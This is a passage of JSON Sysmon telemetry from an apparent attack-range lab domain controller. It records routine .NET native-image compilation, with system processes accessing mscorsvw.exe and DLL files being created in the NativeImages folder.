12:01:30.260","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00104CC70A00}","TargetProcessId":"3040","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6769,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00104CC70A00}\r\nTargetProcessId: 3040\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00104CC70A00}","TargetProcessId":"3040","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6770,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:30.447\r\nProcessGuid: {90617006-429A-5F2D-0000-00104CC70A00}\r\nProcessId: 3040\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\be0-0\\Microsoft.ActiveDirectory.TRLParser.dll\r\nCreationUtcTime: 2020-08-07 12:01:30.447","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:30.447","ProcessGuid":"{90617006-429A-5F2D-0000-00104CC70A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\be0-0\\Microsoft.ActiveDirectory.TRLParser.dll","CreationUtcTime":"2020-08-07 12:01:30.447","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6771,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.463\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010B5CA0A00}\r\nTargetProcessId: 1164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.463","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010B5CA0A00}","TargetProcessId":"1164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6772,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010B5CA0A00}\r\nTargetProcessId: 1164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010B5CA0A00}","TargetProcessId":"1164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6773,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.463\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010B5CA0A00}\r\nTargetProcessId: 1164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.463","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010B5CA0A00}","TargetProcessId":"1164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6774,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.494\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010AFCD0A00}\r\nTargetProcessId: 2812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.494","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010AFCD0A00}","TargetProcessId":"2812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6775,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.494\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010AFCD0A00}\r\nTargetProcessId: 2812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.494","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010AFCD0A00}","TargetProcessId":"2812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6776,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010AFCD0A00}\r\nTargetProcessId: 2812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010AFCD0A00}","TargetProcessId":"2812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6777,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:30.526\r\nProcessGuid: {90617006-429A-5F2D-0000-0010AFCD0A00}\r\nProcessId: 2812\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\afc-0\\TRLParserCOMInterface.dll\r\nCreationUtcTime: 2020-08-07 12:01:30.526","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:30.526","ProcessGuid":"{90617006-429A-5F2D-0000-0010AFCD0A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\afc-0\\TRLParserCOMInterface.dll","CreationUtcTime":"2020-08-07 12:01:30.526","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6778,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 